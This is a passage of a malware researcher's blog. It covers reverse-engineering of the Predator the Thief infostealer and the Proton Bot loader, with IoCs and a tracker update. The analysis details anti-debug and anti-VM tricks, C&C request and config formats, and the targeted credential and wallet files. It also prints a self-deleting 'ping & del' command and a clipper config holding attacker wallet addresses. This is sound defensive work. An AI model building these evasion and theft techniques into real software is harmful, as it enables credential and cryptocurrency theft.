 s[i] = s[i] ^ s[len(str)-1]

Sub everything

Let's consider this as a perfect example of "let's do the same exact thing by just changing one single instruction", so in the end, a new encryption method is used with no effort for the development. That's how a SUB instruction is used for doing the substitution cipher. The only difference that I could notice it's how the key is retrieved. Besides having something hardcoded directly, a signed 32-bit division is performed, easily noticeable by the use of cdq & idiv instructions, then the dl register (the remainder) is used for the substitution.

Stack Strings

What's the result in the end?

Merging these obfuscation techniques leads to a nonsense amount of instructions for a basic task, which will obviously burn you some hours of analysis if you don't take some time for cleaning a bit all that mess with the help of some scripts or plenty other ideas, that could trigger in your mind. It could be nice to see these days some scripts released by the community.

Simple tricks lead to nonsense code

Anti-Debug

There are plenty of techniques abused here that was not in the first analysis, this is not anymore a simple PEB.BeingDebugged or checking if you are running a virtual machine, so let's dig into them. one per one except CheckRemoteDebugger! This one is enough to understand by itself :') NtSetInformationThread One of the oldest tricks in windows and still doing its work over the years. Basically in a very simple way (because there is a lot thing happening during the process), NtSetInformationThread is called with a value (0x11) obfuscated by a XOR operator. This parameter is a ThreadInformationClass with a specific enum called ThreadHideFromDebugger and when it's executed, the debugger is not able to catch any debug information. So the supposed pointer to the corresponding thread is, of course, the malware and when you are analyzing it with a debugger, it will result to detach itself.

CloseHandle/NtClose

Inside WinMain, a huge function is called with a lot of consecutive anti-debug tricks, they were almost all indirectly related to some techniques patched by TitanHide (or strongly looks like), the first one performed is a really basic one, but pretty efficient to do the task. Basically, when CloseHandle is called with an inexistent handle or an invalid one, it will raise an exception and whenever you have a debugger attached to the process, it will not like that at all. To guarantee that it's not an issue for a normal interaction a simple __try / __except method is used, so if this API call is requested, it will safely lead to the end without any issue. The invalid handle used here is a static one and it's L33T code with the value 0xBAADAA55 and makes me bored as much as this face.

That's not a surprise to see stuff like this from the malware developer. Inside jokes, l33t values, animes and probably other content that I missed are something usual to spot on Predator. ProcessDebugObjectHandle When you are debugging a process, Microsoft Windows is creating a "Debug" object and a handle corresponding to it. At this point, when you want to check if this object exists on the process, NtQueryInformationProcess is used with the ProcessInfoClass initialized by 0x1e (that is in fact, ProcessDebugObjectHandle). In this case, the NTStatus value (returning result by the API call) is an error who as the ID 0xC0000353, aka STATUS_PORT_NOT_SET. This means, "An attempt to remove a process's DebugPort was made, but a port was not already associated with the process.". The anti-debug trick is to verify if this error is there, that's all. NtGetContextThread This one is maybe considered as pretty wild if you are not familiar with some hardware breakpoints. Basically, there are some registers that are called "Debug Register" and they are using the DRX nomenclature (DR0 to DR7). When GetThreadContext is called, the function will retrieve al the context information from a thread. For those that are not familiar with a context structure, it contains all the register data from the corresponding element. So, with this data in possession, it only needs to check if those DRX registers are initiated with a value not equal to 0. On the case here, it's easily spottable to see that 4 registers are checked

if (ctx->Dr0 != 0 || ctx->Dr1 != 0 || ctx->Dr2 != 0 || ctx->Dr3 != 0)

Int 3 breakpoint int 3 (or Interrupt 3) is a popular opcode to force the debugger to stop at a specific offset. As said in the title, this is a breakpoint but if it's executed without any debugging environment, the exception handler is able to deal with this behavior and will continue to run without any issue. Unless I missed something, here is the scenario. By the way, as another scenario used for this one (the int 3), the number of this specific opcode triggered could be also used as an incremented counter, if the counter is above a specific value, a simplistic condition is sufficient to check if it's executed into a debugger in that way.

Debug Condition

With all the techniques explained above, in the end, they all lead to a final condition step if of course, the debugger hasn't crashed. The checking task is pretty easy to understand and it remains to a simple operation: "setting up a value to EAX during the anti-debug function", if everything is correct this register will be set to zero, if not we could see all the different values that could be possible.

bloc in red is the correct condition over all the anti-debug tests

...And when the Anti-Debug function is done, the register EAX is checked by the test operator, so the ZF flag is determinant for entering into the most important loop that contains the main function of the stealer.

Anti-VM

The Anti VM is presented as an option in Predator and is performed just after the first C&C requests. Tricks used are pretty olds and basically using Anti-VM Instructions

SIDT
SGDT
STR
CPUID (Hypervisor Trick)

By curiosity, this option is not by default performed if the C&C is not reachable.

Paranoid & Organized Predator

When entering into the "big main function", the stealer is doing "again" extra validations if you have a valid payload (and not a modded one), you are running it correctly and being sure again that you are not analyzing it. This kind of paranoid checking step is a result of the multiple cases of cracked builders developed and released in the wild (mostly or exclusively at a time coming from XakFor.Net). Pretty wild and fun to see when Anti-Piracy protocols are also seen in the malware scape. Then the malware is doing a classic organized setup to perform all the requested actions and could be represented in that way. Of course as usual and already a bit explained in the first paper, the C&C domain is retrieved in a table of function pointers before the execution of the WinMain function (where the payload is starting to do tasks). You can see easily all the functions that will be called based on the starting location (__xc_z) and the ending location (__xc_z). Then you can spot easily the XOR strings that hide the C&C domain like the usual old predator malware.

Data Encryption & Encoding

Besides using XOR almost absolutely everywhere, this info stealer is using a mix of RC4 encryption and base64 encoding whenever it is receiving data from the C&C. Without using specialized tools or paid versions of IDA (or whatever other software), it could be a bit challenging to recognize it (when you are a junior analyst), due to some modification of some part of the code.

Base64

For the Base64 functions, it's extremely easy to spot them, with the symbol values on the register before and after calls. The only thing to notice with them, it's that they are using a typical signature... A whole bloc of XOR stack strings, I believed that this trick is designed to hide an eventual Base64 alphabet from some Yara rules. By the way, the rest of the code remains identical to standard base64 algorithms.

RC4

For RC4, things could be a little bit messy if you are not familiar at all with encryption algorithm on a disassembler/debugger, for some cases it could be hell, for some case not. Here, it's, in fact, this amount of code for performing the process. Blocs are representing the Generation of the array S, then performing the Key-Scheduling Algorithm (KSA) by using a specific secret key that is, in fact, the C&C domain! (if there is no domain, but an IP hardcoded, this IP is the secret key), then the last one is the Pseudo-random generation algorithm (PRGA). For more info, some resources about this algorithm below:

Mutex & Hardware ID

The Hardware ID (HWID) and mutex are related, and the generation is quite funky, I would say, even if most of the people will consider this as something not important to investigate, I love small details in malware, even if their role is maybe meaningless, but for me, every detail counts no matter what (even the stupidest one). Here the hardware ID generation is split into 3 main parts. I had a lot of fun to understand how this one was created. First, it will grab all the available logical drives on the compromised machine, and for each of them, the serial number is saved into a temporary variable. Then, whenever a new drive is found, the hexadecimal value is added to it. so basically if the two drives have the serial number "44C5-F04D" and "1130-DDFF", so ESI will receive 0x44C5F04D then will add 0x1130DFF. When it's done, this value is put into a while loop that will divide the value on ESI by 0xA and saved the remainder into another temporary variable, the loop condition breaks when ESI is below 1. Then the results of this operation are saved, duplicated and added to itself the last 4 bytes (i.e 1122334455 will be 112233445522334455). If this is not sufficient, the value is put into another loop for performing this operation.

for i, s in enumerate(str):
 if i & 1:
 a += chr(s) + 0x40
 else:
 a += chr(s)

It results in the creation of an alphanumeric string that will be the archive filename used during the POST request to the C&C.

the generated hardware ID based on the serial number devices

But wait! there is more... This value is in part of the creation of the mutex name... with a simple base64 operation on it and some bit operand operation for cutting part of the base64 encoding string for having finally the mutex name!

Anti-CIS

A classic thing in malware, this feature is used for avoiding infecting machines coming from the Commonwealth of Independent States (CIS) by using a simple API call GetUserDefaultLangID. The value returned is the language identifier of the region format setting for the user and checked by a lot of specific language identifier, of courses in every situation, all the values that are tested, are encrypted.

Language ID	SubLanguage Symbol	Country
0x0419	SUBLANG_RUSSIAN_RUSSIA	Russia
0x042b	SUBLANG_ARMENIAN_ARMENIA	Armenia
0x082c	SUBLANG_AZERI_CYRILLIC	Azerbaijan
0x042c	SUBLANG_AZERI_LATIN	Azerbaijan
0x0423	SUBLANG_BELARUSIAN_BELARUS	Belarus
0x0437	SUBLANG_GEORGIAN_GEORGIA	Georgia
0x043f	SUBLANG_KAZAK_KAZAKHSTAN	Kazakhstan
0x0428	SUBLANG_TAJIK_TAJIKISTAN	Tajikistan
0x0442	SUBLANG_TURKMEN_TURKMENISTAN	Turkmenistan
0x0843	SUBLANG_UZBEK_CYRILLIC	Uzbekistan
0x0443	SUBLANG_UZBEK_LATIN	Uzbekistan
0x0422	SUBLANG_UKRAINIAN_UKRAINE	Ukraine

Files, files where are you?

When I reversed for the first time this stealer, files and malicious archive were stored on the disk then deleted. But right now, this is not the case anymore. Predator is managing all the stolen data into memory for avoiding as much as possible any extra traces during the execution. Predator is nowadays creating in memory a lot of allocated pages and temporary files that will be used for interactions with real files that exist on the disk. Most of the time it's basically getting handles, size and doing some operation for opening, grabbing content and saving them to a place in memory. This explanation is summarized in a "very" simplify way because there are a lot of cases and scenarios to manage this. Another point to notice is that the archive (using ZIP compression), is also created in memory by selecting folder/files.

The generated archive in memory

It doesn't mean that the whole architecture for the files is different, it's the same format as before.

an example of archive intercepted during the C&C Communication

Stealing

After explaining this many times about how this stuff, the fundamental idea is boringly the same for every stealer:

Check
Analyzing (optional)
Parsing (optional)
Copy
Profit
Repeat

What could be different behind that, is how they are obfuscating the files or values to check... and guess what... every malware has their specialties (whenever they are not decided to copy the same piece of code on Github or some whatever generic .NET stealer) and in the end, there is no black magic, just simple (or complex) enigma to solve. As a malware analyst, when you are starting into analyzing stealers, you want literally to understand everything, because everything is new, and with the time, you realized the routine performed to fetch the data and how stupid it is working well (as reminder, it might be not always that easy for some highly specific stuff). In the end, you just want to know the targeted software, and only dig into those you haven't seen before, but every time the thing is the same:

Checking dumbly a path
Checking a register key to have the correct path of a software
Checking a shortcut path based on an icon
etc...

Beside that Predator the Thief is stealing a lot of different things:

Grabbing content from Browsers (Cookies, History, Credentials)
Harvesting/Fetching Credit Cards
Stealing sensible information & files from Crypto-Wallets
Credentials from FTP Software
Data coming from Instant communication software
Data coming from Messenger software
2FA Authenticator software
Fetching Gaming accounts
Credentials coming from VPN software
Grabbing specific files (also dynamically)
Harvesting all the information from the computer (Specs, Software)
Stealing Clipboard (if during the execution of it, there is some content)
Making a picture of yourself (if your webcam is connected)
Making screenshot of your desktop
It could also include a Clipper (as a modular feature).
And... due to the module manager, other tasks that I still don't have mentioned there (that also I don't know who they are).

Let's explain just some of them that I found worth to dig into.

Browsers

Since my last analysis, things changed for the browser part and it's now divided into three major parts.

Internet Explorer is analyzed in a specific function developed due that the data is contained into a "Vault", so it requires a specific Windows API to read it.
Microsoft Edge is also split into another part of the stealing process due that this one is using unique files and needs some tasks for the parsing.
Then, the other browsers are fetched by using a homemade static grabber

Grabber n°1 (The generic one)

It's pretty fun to see that the stealing process is using at least one single function for catching a lot of things. This generic grabber is pretty "cleaned" based on what I saw before even if there is no magic at all, it's sufficient to make enough damages by using a recursive loop at a specific place that will search all the required files & folders. By comparing older versions of predator, when it was attempting to steal content from browsers and some wallets, it was checking step by step specific repositories or registry keys then processing into some loops and tasks for fetching the credentials. Nowadays, this step has been removed (for the browser part) and being part of this raw grabber that will parse everything starting to %USERS% repository. As usual, all the variables that contain required files are obfuscated and encrypted by a simple XOR algorithm and in the end, this is the "static" list that the info stealer will be focused

File grabbed	Type	Actions
Login Data	Chrome / Chromium based	Copy & Parse
Cookies	Chrome / Chromium based	Copy & Parse
Web Data	Browsers	Copy & Parse
History	Browsers	Copy & Parse
formhistory.sqlite	Mozilla Firefox & Others	Copy & Parse
cookies.sqlite	Mozilla Firefox & Others	Copy & Parse
wallet.dat	Bitcoin	Copy & Parse
.sln	Visual Studio Projects	Copy filename into Project.txt
main.db	Skype	Copy & Parse
logins.json	Chrome	Copy & Parse
signons.sqlite	Mozilla Firefox & Others	Copy & Parse
places.sqlite	Mozilla Firefox & Others	Copy & Parse
Last Version	Mozilla Firefox & Others	Copy & Parse

Grabber n°2 (The dynamic one)

There is a second grabber in Predator The Thief, and this not only used when there is available config loaded in memory based on the first request done to the C&C. In fact, it's also used as part of the process of searching & copying critical files coming from wallets software, communication software, and others... The "main function" of this dynamic grabber only required three arguments:

The path where you want to search files
the requested file or mask
A path where the found files will be put in the final archive sent to the C&C

When the grabber is configured for a recursive search, it's simply adding at the end of the path the value ".." and checking if the next file is a folder to enter again into the same function again and again. In the end, in the fundamentals, this is almost the same pattern as the first grabber with the only difference that in this case, there are no parsing/analyzing files in an in-depth way. It's simply this follow-up

Find a matched file based on the requested search
creating an entry on the stolen archive folder
setting a handle/pointer from the grabbed file
Save the whole content to memory
Repeat

Of course, there is a lot of particular cases that are to take in consideration here, but the main idea is like this.

What Predator is stealing in the end?

If we removed the dynamic grabber, this is the current list (for 3.3.2) about what kind of software that is impacted by this stealer, for sure, it's hard to know precisely on the browser all the one that is impacted due to the generic grabber, but in the end, the most important one is listed here. VPN

NordVPN

Communication

Jabber
Discord
Skype

FTP

WinSCP
WinFTP
FileZilla

Mails

Outlook

2FA Software

Authy (Inspired by Vidar)

Games

Steam
Battle.net (Inspired by Kpot)
Osu

Wallets

Electrum
MultiBit
Armory
Ethereum
Bytecoin
Bitcoin
Jaxx
Atomic
Exodus

Browser

Mozilla Firefox (also Gecko browsers using same files)
Chrome (also Chromium browsers using same files)
Internet Explorer
Edge
Unmentioned browsers using the same files detected by the grabber.

Also beside stealing other actions are performed like:

Performing a webcam picture capture
Performing a desktop screenshot

Loader

There is currently 4 kind of loader implemented into this info stealer

RunPE
CreateProcess
ShellExecuteA
LoadPE
LoadLibrary

For all the cases, I have explained below (on another part of this analysis) what are the options of each of the techniques performed. There is no magic, there is nothing to explain more about this feature these days. There are enough articles and tutorials that are talking about this. The only thing to notice is that Predator is designed to load the payload in different ways, just by a simple process creation or abusing some process injections (i recommend on this part, to read the work from endgame).

Module Manager

Something really interesting about this stealer these days, it that it developed a feature for being able to add the additional tasks as part of a module/plugin package. Maybe the name of this thing is wrongly named (i will probably be fixed soon about this statement). But now it's definitely sure that we can consider this malware as a modular one. When decrypting the config from check.get, you can understand fast that a module will be launched, by looking at the last entry... [PREDATOR_CONFIG]#[GRABBER]#[NETWORK_INFO]#[LOADER]#[example] This will be the name of the module that will be requested to the C&C. (this is also the easiest way to spot a new module).

example.get
example.post

The first request is giving you the config of the module (on my case it was like this), it's saved but NOT decrypted (looks like it will be dealt by the module on this part). The other request is focused on downloading the payload, decrypting it and saving it to the disk in a random folder in %PROGRAMDATA% (also the filename is generated also randomly), when it's done, it's simply executed by ShellExecuteA. Also, another thing to notice, you know that it's designed to launch multiple modules/plugins.

Clipper (Optional module)

The clipper is one example of the Module that could be loaded by the module manager. As far as I saw, I only see this one (maybe they are other things, maybe not, I don't have the visibility for that). Disclaimer: Before people will maybe mistaken, the clipper is proper to Predator the Thief and this is NOT something coming from another actor (if it's the case, the loader part would be used).

Clipper WinMain function

This malware module is developed in C++, and like Predator itself, you recognized pretty well the obfuscation proper to it (Stack strings, XOR, SUB, Code spaghetti, GetProcAddress recreated...). Well, everything that you love for slowing down again your analysis. As detailed already a little above, the module is designed to grab the config from the main program, decrypting it and starting to do the process routine indefinitely:

Open Clipboard
Checking content based on the config loaded
If something matches put the malicious wallet
Sleep
Repeat

The clipper config is rudimentary using "|" as a delimiter. Mask/Regex on the left, malicious wallet on the right.

1*:1Eh8gHDVCS8xuKQNhCtZKiE1dVuRQiQ58H|
3*:1Eh8gHDVCS8xuKQNhCtZKiE1dVuRQiQ58H|
0x*:0x7996ad65556859C0F795Fe590018b08699092B9C|
q*:qztrpt42h78ks7h6jlgtqtvhp3q6utm7sqrsupgwv0|
G*:GaJvoTcC4Bw3kitxHWU4nrdDK3izXCTmFQ|
X*:XruZmSaEYPX2mH48nGkPSGTzFiPfKXDLWn|
L*:LdPvBrWvimse3WuVNg6pjH15GgBUtSUaWy|
t*:t1dLgBbvV6sXNCMUSS5JeLjF4XhhbJYSDAe|
4*:44tLjmXrQNrWJ5NBsEj2R77ZBEgDa3fEe9GLpSf2FRmhexPvfYDUAB7EXX1Hdb3aMQ9FLqdJ56yaAhiXoRsceGJCRS3Jxkn|
D*:DUMKwVVAaMcbtdWipMkXoGfRistK1cC26C|
A*:AaUgfMh5iVkGKLVpMUZW8tGuyjZQNViwDt|

There is no communication with the C&C when the clipper is switching wallet, it's an offline one.

Self Removal

When the parameters are set to 1 in the Predator config got by check.get, the malware is performing a really simple task to erase itself from the machine when all the tasks are done. By looking at the bottom of the main big function where all the task is performed, you can see two main blocs that could be skipped. these two are huge stack strings that will generate two things.

the API request "ShellExecuteA"
The command "ping 127.0.0.1 & del %PATH%"

When all is prepared the thing is simply executed behind the classic register call. By the way, doing a ping request is one of the dozen way to do a sleep call and waiting for a little before performing the deletion.

This option is not performed by default when the malware is not able to get data from the C&C.

Telemetry files

There is a bunch of files that are proper to this stealer, which are generated during the whole infection process. Each of them has a specific meaning. Information.txt

Signature of the stealer
Stealing statistics
Computer specs
Number of users in the machine
List of logical drives
Current usage resources
Clipboard content
Network info
Compile-time of the payload

Also, this generated file is literally "hell" when you want to dig into it by the amount of obfuscated code. I can quote these following important telemetry files: Software.txt

Windows Build Version
Generated User-Agent
List of software installed in the machine (checking for x32 and x64 architecture folders)

Actions.txt

List of actions & telemetry performed by the stealer itself during the stealing process

Projects.txt

List of SLN filename found during the grabber research (the static one)

CookeList.txt

List of cookies content fetched/parsed

Network

User-Agent "Builder"

Sometimes features are fun to dig in when I heard about that predator is now generating dynamic user-agent, I was thinking about some things but in fact, it's way simpler than I thought. The User-Agent is generated in 5 steps

Decrypting a static string that contains the first part of the User-Agent
Using GetTickCount and grabbing the last bytes of it for generating a fake builder version of Chrome
Decrypting another static string that contains the end of the User-Agent
Concat Everything
Profit

Tihs User-Agent is shown into the software.txt logfile.

C&C Requests

There is currently 4 kind of request seen in Predator 3.3.2 (it's always a POST request)

Request	Meaning
api/check.get	Get dynamic config, tasks and network info
api/gate.get ?……	Send stolen data
api/.get	Get modular dynamic config
api/.post	Get modular dynamic payload (was like this with the clipper)

The first step - Get the config & extra Infos

For the first request, the response from the server is always in a specific form :

String obviously base64 encoded
Encrypted using RC4 encryption by using the domain name as the key

When decrypted, the config is pretty easy to guess and also a bit complex (due to the number of options & parameters that the threat actor is able to do).

[0;1;0;1;1;0;1;1;0;512;]#[[%userprofile%\Desktop|%userprofile%\Downloads|%userprofile%\Documents;*.xls,*.xlsx,*.doc,*.txt;128;;0]]#[Trakai;Republic of Lithuania;54.6378;24.9343;85.206.166.82;Europe/Vilnius;21001]#[]#[Clipper]

It's easily understandable that the config is split by the "#" and each data and could be summarized like this

The stealer config
The grabber config
The network config
The loader config
The dynamic modular config (i.e Clipper)

I have represented each of them into an array with the meaning of each of the parameters (when it was possible). Predator config

Args	Meaning
Field 1	Webcam screenshot
Field 2	Anti VM
Field 3	Skype
Field 4	Steam
Field 5	Desktop screenshot
Field 6	Anti-CIS
Field 7	Self Destroy
Field 8	Telegram
Field 9	Windows Cookie
Field 10	Max size for files grabbed
Field 11	Powershell script (in base64)

Grabber config []#[GRABBER]#[]#[]#[]

Args	Meaning
Field 1	%PATH% using "\|" as a delimiter
Field 2	Files to grab
Field 3	Max sized for each file grabbed
Field 4	Whitelist
Field 5	Recursive search (0 - off \| 1 - on)

Network info []#[]#[NETWORK]#[]#[]

Args	Meaning
Field 1	City
Field 2	Country
Field 3	GPS Coordinate
Field 4	Time Zone
Field 5	Postal Code

Loader config []#[]#[]#[LOADER]#[] Format [[URL;3;2;;;;1;amazon.com;0;0;1;0;0;5]] Meaning

Loader URL
Loader Type
Architecture
Targeted Countries ("," as a delimiter)
Blacklisted Countries ("," as a delimiter)
Arguments on startup
Injected process OR Where it's saved and executed
Pushing loader if the specific domain(s) is(are) seen in the stolen data
Pushing loader if wallets are presents
Persistence
Executing in admin mode
Random file generated
Repeating execution
???

Loader type (argument 2)

Value	Meaning
1	RunPE
2	CreateProcess
3	ShellExecute
4	LoadPE
5	LoadLibrary

Architecture (argument 3)

Value	Meaning
1	x32 / x64
2	x32 only
3	x64 only

If it's RunPE (argument 7)

Value	Meaning
1	Attrib.exe
2	Cmd.exe
3	Audiodg.exe

If it's CreateProcess / ShellExecuteA / LoadLibrary (argument 7)

Value	Meaning
1	%PROGRAMDATA%
2	%TEMP%
3	%APPDATA%

The second step - Sending stolen data

Format

/api/gate.get?p1=X&p2=X&p3=X&p4=X&p5=X&p6=X&p7=X&p8=X&p9=X&p10=X

Goal

Sending stolen data
Also victim telemetry

Meaning

Args	Field
p1	Passwords
p2	Cookies
p3	Credit Cards
p4	Forms
p5	Steam
p6	Wallets
p7	Telegram
p8	???
p9	???
p10	OS Version (encrypted + encoded)*

This is an example of crafted request performed by Predator the thief

Third step - Modular tasks (optional)

/api/Clipper.get

Give the dynamic clipper config

/api/Clipper.post

Give the predator clipper payload

Server side

The C&C is nowadays way different than the beginning, it has been reworked with some fancy designed and being able to do some stuff:

Modulable C&C
Classic fancy index with statistics
Possibility to configure your panel itself
Dynamic grabber configuration
Telegram notifications
Backups
Tags for specific domains

Index

The predator panel changed a lot between the v2 and v3. This is currently a fancy theme one, and you can easily spot the whole statistics at first glance. the thing to notice is that the panel is fully in Russian (and I don't know at that time if there is an English one). Menu on the left is divide like this (but I'm not really sure about the correct translation) Меню (Menu) Статистика (Stats)

Логов (Logs)
По странам (Country stats)
Лоадера (Loader Stats)

Логи (Logs)

Обычная

Модули (Modules)

Загрузить модуль (Download/Upload Module)

Настройки (Settings)

Настройки сайта (Site settings)
Телеграм бот (Telegram Bot)
Конфиг (Config)

Граббер (Grabber) Лоадер (Loader) Domain Detect Backup Поиск (Search) Конвертация (Converter => Netscape Json converter)

Statistics / Landscape

Predator Config

In term of configuring predator, the choices are pretty wild:

The actor is able to tweak its panel, by modifying some details, like the title and detail that made me laugh is you can choose a dark theme.

There is also another form, the payload config is configured by just ticking options. When done, this will update the request coming from check.get

As usual, there is also a telegram bot feature

Creating Tags for domains seen

Small details which were also mentioned in Vidar, but if the actor wants specific attention for bots that have data coming from specific domains, it will create a tag that will help him to filter easily which of them is probably worth to dig into.

Loader config

The loader configuration is by far really interesting in my point of view and even it has been explained totally for its functionalities, I considered it pretty complete and user-friendly for the Threat Actor that is using it.

IoCs

Hashes for this analysis p_pckd.exe - 21ebdc3a58f3d346247b2893d41c80126edabb060759af846273f9c9d0c92a9a p_upkd.exe - 6e27a2b223ef076d952aaa7c69725c831997898bebcd2d99654f4a1aa3358619 p_clipper.exe - 01ef26b464faf08081fceeeb2cdff7a66ffdbd31072fe47b4eb43c219da287e8 C&C

cadvexmail19mn.world

Other predator hashes

9110e59b6c7ced21e194d37bb4fc14b2
51e1924ac4c3f87553e9e9c712348ac8
fe6125adb3cc69aa8c97ab31a0e7f5f8
02484e00e248da80c897e2261e65d275
a86f18fa2d67415ac2d576e1cd5ccad8
3861a092245655330f0f1ffec75aca67
ed3893c96decc3aa798be93192413d28

Conclusion

Infostealer is not considered as harmful as recent highly mediatize ransomware attacks, but they are enough effective to perform severe damage and they should not be underrated, furthermore, with the use of cryptocurrencies that are more and more common, or something totally normal nowadays, the lack of security hygiene on this subject is awfully insane. that I am not surprised at all to see so much money stolen, so they will be still really active, it's always interesting to keep an eye on this malware family (and also on clippers), whenever there is a new wallet software or trading cryptocurrency software on the list, you know easily what are the possible trends (if you have a lack of knowledge in that area). Nowadays, it's easy to see fresh activities in the wild for this info stealer, it could be dropped by important malware campaigns where notorious malware like ISFB Gozi is also used. It's unnecessary (on my side) to speculate about what will be next move with Predator, I have clearly no idea and not interested in that kind of stuff. The thing is the malware scene nowadays is evolving really fast, threat actor teams are moving/switching easily and it could take only hours for new updates and rework of malware by just modifying a piece of code with something already developed on some GitHub repository, or copying code from another malware. Also, the price of the malware has been adjusted, or the support communication is moved to something else. Due to this, I am pretty sure at that time, this current in-depth analysis could be already outdated by some modifications. it's always a risk to take and on my side, I am only interested in the malware itself, the main ideas/facts of the major version are explained and it's plenty sufficient. There is, of course, some topics that I haven't talk like nowadays predator is now being to work as a classic executable file or a DLL, but it was developed some times ago and this subject is now a bit popular. Also, another point that I didn't find any explanation, is that seeing some decrypting process for strings that leads to some encryption algorithm related to Tor. This in-depth analysis is also focused on showing that even simple tricks are an efficient way to slow down analysis and it is a good exercise to practice your skills if you want to improve yourself into malware analysis. Also, reverse engineering is not as hard as people could think when the fundamental concepts are assimilated, It's just time, practice and motivation.

On my side, I am, as usual, typically irregular into releasing stuff due to some stuff (again...). By the way, updating projects are still one of my main focus, I still have some things that I would love to finish which are not necessarily into malware analysis, it's cool to change topics sometimes. #HappyHunting

Haruko Malware Tracker - 1 Year Anniversary Update

Tue, 27 Aug 2019 06:36:50 +0000

Hi folks, It's been one year since the tracker went live (tracker.fumik0.com, now retired), and over this past months, I understood that maintaining this solo project was definitely not an easy task. But, right now, Haruko is step by step a growing place that provides a start for OSINT stuff, learning Reverse malware analysis or helping some blue team people when they have to analyze some samples. If I could summarize this malware tracker in one year:

2600+ Samples
A learning tab with dozen of exercises added
A malware tab with 40+ notes for quick tips with some malware implemented
An Unlimited API

... and this everything is free. It's pretty obvious that some companies are grabbing some data from my project to resell them after without any credits, or changing the name of the sample by adding tags for other commercial bullshit nonsense to prove they are the first on it, That's all part of the game, that's life. At first, this tracker was created due, that a lot of people can even afford to have tools or services, for being able just to search, download, analyzed samples and improve their skills. This is a good start among other Free services to start your OSINT and learning some stuff. If this tracker is helping students, teachers to provide courses, helping Junior Analyst or just curious, that's the most important thing.

New section - Wallet

Since some years right now, cryptocurrencies are now part of the cybercrime landscape, with more and more trends on it. So, For having an idea, which of them are used/abused by threat actors, it could be a good thing to centralized them. API

/api/get-wallets
/api/wallet/value

Why the idea of this branch?

Plug the API into the step of the transaction, for a better security approach
If a wallet is switched by a clipper, the API request is a way to check if, in the DB, this one is already known for some malicious activities and could be blocked easily.

New field - Domain

For OSINT research, the field "domain" has been added

domain

On the website Example in JSON format

{  
 "first_seen":"2018-08-05",
 "first_seen_details":"1533469173",
 "hash":{  
 "md5":"ca92b2a06320fa138989ead470e6b8f5",
 "sha1":"feb71e950f43eac5037def7513f7c4e5eb3d76cc",
 "sha256":"af2c63561aa10a1e444471706a5ea35f951795dff4bb1fc735fdf05c8f30b998"
 },
 "hash_seen":1,
 "id":"5b66e1f5143e9a34ec8a3752",
 "sample":{  
 "name":"jardata.exe",
 "size":"1102336"
 },
 "server":{  
 "AS":"AS16509",
 "country":"us",
 "domain":"bitbucket.org",
 "ip":"52.216.84.40",
 "url":"bitbucket.org/kent9876/test/downloads/jardata.exe"
 }
}

Updates on API

I have made some little tweaks about the API possibilities, there is now some new ones available

/api/ip/value
/api/domain/value
/api/as/value
/api/country/value
/api/md5/value
/api/sha256/value

What next?

I have some other things that I want to release before the end of this year (unrelated to this tracker), but not sure if I will have enough time to complete everything, but yes another content & ideas are coming. If you want to participate in this project, contact me. Fumi o/

Overview of Proton Bot, another loader in the wild!

Fri, 24 May 2019 12:27:36 +0000

Loaders nowadays are part of the malware landscape and it is common to see on sandbox logs results with "loader" tagged on. Specialized loader malware like Smoke or Hancitor/Chanitor are facing more and more with new alternatives like Godzilla loader, stealers, miners and plenty other kinds of malware with this developed feature as an option. This is easily catchable and already explained in earlier articles that I have made. Since a few months, another dedicated loader malware appears from multiple sources with the name of "Proton Bot" and on my side, first results were coming from a v0.30 version. For this article, the overview will focus on the latest one, the v1. Sold 50$ (with C&C panel) and developed in C++, its cheaper than Smoke (usually seen with an average of 200$/300$) and could explain that some actors/customers are making some changes and trying new products to see if it's worth to continue with it. The developer behind (glad0ff), is not as his first malware, he is also behind Acrux (retired tracker page) & Decrux. [Disclaimer: This article is not a deep in-depth analysis]

Analyzed sample

1AF50F81E46C8E8D49C44CB2765DD71A [Packed] (tracker entry retired)
4C422E9D3331BD3F1BB785A1A4035BBD [Unpacked]

Something that I am finally glad by reversing this malware is that I'm not in pain for unpacking a VM protected sample. By far this is the "only one" that I've analyzed from this developer this is not using Themida, VMprotect or Enigma Protector. So seeing finally a clean PE is some kind of heaven.

Behavior

When the malware is launched, it's retrieving the full path of the executed module by calling GetModuleFilename, this returned value is the key for Proton Bot to verify if this, is a first-time interaction on the victim machine or in contrary an already setup and configured bot. The path is compared with a corresponding name & repository hardcoded into the code that are obviously obfuscated and encrypted. This call is an alternative to GetCommandLine on this case. On this screenshot above, EDI contains the value of the payload executed at the current time and EAX, the final location. At that point with a lack of samples in my possession, I cannot confirm this path is unique for all Proton Bot v1 or multiple fields could be a possibility, this will be resolved when more samples will be available for analysis... Next, no matter the scenario, the loader is forcing the persistence with a scheduled task trick. Multiple obfuscated blocs are following a scheme to generating the request until it's finally achieved and executed with a simple ShellExecuteA call. With a persistence finally integrated, now the comparison between values that I showed on registers will diverge into two directions : If paths are different

Making an HTTP Request on "http://iplogger.org/1i237a" for grabbing the Bot IP
Creating a folder & copying the payload with an unusual way that I will explain later.
Executing proton bot again in the correct folder with CreateProcessA
Exiting the current module

if paths are identical

two threads are created for specific purposes
1. one for the loader
2. the other for the clipper
At that point, all interactions between the bot and the C&C will always be starting with this format :

/page.php?id=%GUID%

%GUID% is, in fact, the Machine GUID, so on a real scenario, this could be in an example this value "fdff340f-c526-4b55-b1d1-60732104b942".

Summary

Mutex

dsks102d8h911s29

Loader Path

%APPDATA%/NvidiaAdapter

Loader Folder

Schedule Task

Process

A unique way to perform data interaction

This loader has an odd and unorthodox way to manipulate the data access and storage by using the Windows KTM library. This is way more different than most of the malware that is usually using easier ways for performing tasks like creating a folder or a file by the help of the FileAPI module. The idea here, it is permitting a way to perform actions on data with the guarantee that there is not even a single error during the operation. For this level of reliability and integrity, the Kernel Transaction Manager (KTM) comes into play with the help of the Transaction NTFS (TxF). For those who aren't familiar with this, there is an example here :

CreateTransaction is called for starting the transaction process
The requested task is now called
If everything is good, the Transaction is finalized with a commit (CommitTransaction) and confirming the operation is a success
If a single thing failed (even 1 among 10000 tasks), the transaction is rolled back with RollbackTransaction

In the end, this is the task list used by ProtonBot are:

This different way to interact with the Operating System is a nice way to escape some API monitoring or avoiding triggers from sandboxes & specialized software. It's a matter time now to hotfix and adjusts this behavior for having better results. The API used has been also used for another technique with analysis of the banking malware Osiris by @hasherezade

Anti-Analysis

There are three main things exploited here:

Stack String
Xor encryption
Xor key adjusted with a NOT operand

